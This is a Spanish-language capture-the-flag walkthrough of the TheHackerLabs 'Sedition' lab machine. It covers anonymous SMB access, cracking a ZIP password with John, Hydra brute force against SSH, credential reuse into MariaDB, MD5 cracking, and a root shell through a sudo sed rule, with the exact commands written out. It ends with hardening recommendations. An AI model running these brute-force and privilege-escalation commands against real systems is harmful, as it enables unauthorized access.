> For the complete documentation index, see [llms.txt](https://itskode.gitbook.io/pentesting/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://itskode.gitbook.io/pentesting/thehackerlabs/facil/sedition.md).

# Sedition

## Introduccion

En este laboratorio de TheHackerLabs se compromete una maquina Linux aprovechando acceso anonimo a SMB, un ZIP protegido con password, reutilizacion de credenciales y una regla insegura de `sudo`.

El objetivo es obtener credenciales desde un recurso compartido, acceder por SSH, moverse lateralmente a otro usuario y escalar privilegios hasta `root`.

***

## Escaneo y enumeracion

Se comienza realizando un escaneo de versiones con Nmap sobre la maquina objetivo:

```bash
nmap -sV -sS -n -Pn -T4 -p- 192.168.1.98
```

![Nmap](/files/SF0NpQoHqDzY6E0PvNRY)

El escaneo muestra tres puertos abiertos:

| Puerto    | Servicio    | Version              |
| --------- | ----------- | -------------------- |
| 139/tcp   | NetBIOS-SSN | Samba smbd 4         |
| 445/tcp   | NetBIOS-SSN | Samba smbd 4         |
| 65535/tcp | SSH         | OpenSSH 9.2p1 Debian |

Con SMB expuesto y SSH escuchando en el puerto `65535`, se empieza por enumerar recursos compartidos.

***

## Enumeracion SMB

Se enumeran recursos SMB sin credenciales:

```bash
smbclient -N -L 192.168.1.98
```

![Shares SMB](/files/mkA8FABWMkvOTSD5RsB6)

El servidor permite listar recursos y aparecen varios shares interesantes:

| Recurso  | Tipo | Comentario          |
| -------- | ---- | ------------------- |
| `print$` | Disk | Printer Drivers     |
| `backup` | Disk | Recurso interesante |
| `IPC$`   | IPC  | IPC Service         |
| `nobody` | Disk | Home Directories    |

Aunque aparece un aviso de negociacion de SMB1, la enumeracion de shares se completa correctamente.

***

## Descarga del backup

Se accede al recurso `backup` sin autenticacion:

```bash
smbclient -N //192.168.1.98/backup
```

Dentro del recurso compartido aparece un archivo llamado `secretito.zip`:

```bash
ls
get secretito.zip
```

![Descarga secretito.zip](/files/ysxUOhT5RSOn9GBZV8Q5)

***

## Crackeo del ZIP

Al intentar descomprimir el archivo, se solicita una password:

```bash
unzip secretito.zip
```

![ZIP protegido](/files/bPu58goiVhEjbdkLFEnd)

Se extrae el hash del ZIP con `zip2john`:

```bash
zip2john secretito.zip > hash.txt
```

Despues se crackea con John usando `rockyou.txt`:

```bash
john --wordlist=/usr/share/wordlists/rockyou.txt hash.txt
```

![John ZIP](/files/oFxZeujvm3ydCrA3TYeW)

John obtiene la password:

```
sebastian
```

Con esa password se descomprime el ZIP:

```bash
unzip secretito.zip
```

![Unzip secretito](/files/eXLXrvkxeCgZvcuVSWhr)

El archivo extraido se llama `password`. Al leerlo se obtiene una posible credencial:

```bash
cat password
```

![Password extraida](/files/VeKbkE1acG8F3DLUPhBK)

Contenido:

```
elbunkermolagollon123
```

***

## Identificacion de usuario valido

Primero se prueba el usuario `sebastian` por SSH usando la password encontrada, pero no funciona:

```bash
ssh sebastian@192.168.1.98 -p 65535
```

![SSH sebastian fallido](/files/UqB2QjYyIS6Po2emkehg)

Para encontrar usuarios validos se enumera SMB con CrackMapExec:

```bash
crackmapexec smb 192.168.1.98 --users
```

![Usuarios SMB](/files/gqxA1D1lGYMjuypEod5u)

La enumeracion muestra usuarios del dominio `SEDITION`, entre ellos:

```
cowboy
nobody
```

Otra forma de encontrar el usuario valido es usar la password obtenida como valor fijo y probar una lista de usuarios contra SSH en el puerto `65535`:

```bash
hydra -L /usr/share/wordlists/rockyou.txt \
  -p "elbunkermolagollon123" \
  ssh://192.168.1.98 -s 65535
```

![Hydra SSH](/files/Va90w6aipZ6ts3TSltoj)

Con este enfoque, Hydra tambien permite identificar las credenciales validas:

```
Usuario: cowboy
Password: elbunkermolagollon123
```

***

## Acceso inicial por SSH

Con las credenciales obtenidas se accede por SSH:

```bash
ssh cowboy@192.168.1.98 -p 65535
```

![SSH cowboy](/files/hVt5OeSRfeMFqffVq2rH)

Se obtiene una shell como el usuario `cowboy`.

***

## Enumeracion local

Se revisa el directorio personal y los permisos sudo del usuario:

```bash
ls -la
sudo -l
```

![Enumeracion cowboy](/files/b75YdCrdcWhoxwZ8Bh0H)

El usuario `cowboy` no puede ejecutar comandos con `sudo`, por lo que se buscan binarios SUID:

```bash
find / -perm -4000 -type f 2>/dev/null
```

No aparece un vector claro por SUID. Sin embargo, al revisar el historial de Bash se encuentra una pista importante:

```bash
cat ./.bash_history
```

![bash\_history cowboy](/files/fQ9WfBQi8E8Jhax1uGmQ)

En el historial aparece una conexion a MariaDB con el mismo usuario y password:

```
mariadb -u cowboy -pelbunkermolagollon123
```

***

## Enumeracion de MariaDB

Se accede a MariaDB con las credenciales reutilizadas y se listan bases de datos:

```sql
SHOW DATABASES;
USE bunker;
```

![MariaDB databases](/files/CJr3G3XkpkroqY4K5y0c)

Dentro de la base de datos `bunker` se consulta la tabla `users`:

```sql
SELECT * FROM users;
```

![MariaDB users](/files/uuguM7xGW7xm3yQZXpIi)

La tabla contiene un usuario y un hash:

| Usuario  | Hash                               |
| -------- | ---------------------------------- |
| `debian` | `7c6a180b36896a0a8c02787eeafb0e4c` |

Se identifica el tipo de hash con `hash-identifier`:

![hash-identifier](/files/5dijsacGHhnquCsaPb00)

El resultado indica que probablemente es MD5. Al crackearlo se obtiene:

![CrackStation](/files/wY3sUYWvrvYTfIE8vUj7)

```
password1
```

***

## Movimiento lateral a debian

Con la password crackeada se cambia al usuario `debian`:

```bash
su debian
```

Password:

```
password1
```

![su debian](/files/PFLALx61uRy8BBJbt64F)

En el directorio personal de `debian` aparece una flag y una carpeta `backup`:

![Home debian](/files/szGKGIapeIqxzVGqeII9)

***

## Escalada de privilegios

Se comprueban los permisos sudo de `debian`:

```bash
sudo -l
```

![sudo debian](/files/Eolr9v0A7Ec7KlBdxAlR)

El usuario puede ejecutar `sed` como cualquier usuario sin password:

```
(ALL) NOPASSWD: /usr/bin/sed
```

En GTFOBins se comprueba que `sed` permite ejecutar comandos del sistema:

![GTFOBins sed](/files/PiZTC6AwhFNRoQMRGHYW)

Se abusa de esta regla para obtener una shell como `root`:

```bash
sudo sed -n '1e exec /bin/sh 1>&0' /etc/hosts
```

![Root](/files/6dRxSw8ltsbEfhvQw9vK)

Se confirma el acceso privilegiado:

```bash
id
whoami
```

Resultado:

```
uid=0(root) gid=0(root) grupos=0(root)
root
```

***

## Conclusion

El compromiso de la maquina ha sido posible por la combinacion de varios fallos:

* Recursos SMB accesibles sin credenciales
* Backup expuesto con un ZIP protegido por password debil
* Reutilizacion de password para SSH y MariaDB
* Historial de Bash con comandos sensibles
* Hash MD5 debil almacenado en base de datos
* Regla `sudo` peligrosa para `/usr/bin/sed`

### Puntos clave

| Fase               | Tecnica               | Resultado                        |
| ------------------ | --------------------- | -------------------------------- |
| Reconocimiento     | Nmap                  | SMB y SSH en `65535` expuestos   |
| Enumeracion        | SMB anonimo           | Share `backup` accesible         |
| Credenciales       | `zip2john` + John     | Password del ZIP `sebastian`     |
| Credenciales       | Archivo `password`    | Password `elbunkermolagollon123` |
| Usuario valido     | CrackMapExec + Hydra  | Credenciales de `cowboy`         |
| Acceso inicial     | SSH en puerto `65535` | Shell como `cowboy`              |
| Movimiento lateral | MariaDB + MD5         | Password de `debian`             |
| Escalada           | `sudo sed`            | Shell como `root`                |

### Recomendaciones

* Deshabilitar acceso anonimo a recursos SMB sensibles
* No almacenar credenciales en backups expuestos
* Usar passwords robustas para archivos comprimidos
* Evitar reutilizacion de credenciales entre servicios
* Limpiar historiales de shell y no dejar comandos con passwords en claro
* Sustituir hashes MD5 por algoritmos resistentes como bcrypt, scrypt o Argon2
* Revisar reglas `sudoers` y no permitir binarios capaces de ejecutar comandos como `root`


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://itskode.gitbook.io/pentesting/thehackerlabs/facil/sedition.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
